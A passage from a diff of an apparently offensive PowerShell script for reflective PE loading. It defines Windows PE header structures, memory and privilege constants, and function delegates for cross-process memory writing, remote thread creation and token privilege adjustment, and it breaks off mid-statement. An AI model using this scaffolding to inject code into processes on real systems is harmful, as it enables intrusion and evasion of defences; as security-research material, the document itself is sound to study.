'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 - - #Struct IMAGE_NT_HEADERS64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null - $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 - - #Struct IMAGE_NT_HEADERS32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null - $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 - - #Struct IMAGE_DOS_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) - $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null - - $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $e_resField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null - - $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) - $e_res2Field.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null - $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER - - #Struct IMAGE_SECTION_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) - - $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) - $nameField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER - - #Struct IMAGE_BASE_RELOCATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null - $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION - - #Struct IMAGE_IMPORT_DESCRIPTOR - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null - $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR - - #Struct IMAGE_EXPORT_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null - $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID - - #Struct LUID_AND_ATTRIBUTES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES - - return $Win32Types - } - - Function Get-Win32Constants - { - $Win32Constants = New-Object System.Object - - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 - $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 - $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 - - return $Win32Constants - } - - Function Get-Win32Functions - { - $Win32Functions = New-Object System.Object - - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc - - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx - - $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy - $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) - $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset - - $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA - $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) - $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary - - $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) - $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress - - $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) - $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal - - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree - - $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx - $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx - - $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect - $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect - - $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA - $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) - $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) - $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle - - $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) - $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary - - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess - - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject - - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory - $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) - $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory - - $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory - $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) - $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory - - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread - $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread - - $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread - $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) - $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread - - $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken - $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) - $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread - $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) - $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges - $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) - $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA - $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) - $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf - $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) - $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf - - $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx - $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) - $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx - - $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process - - $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread - $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) - $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread - - return $Win32Functions - } - ##################################### + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = 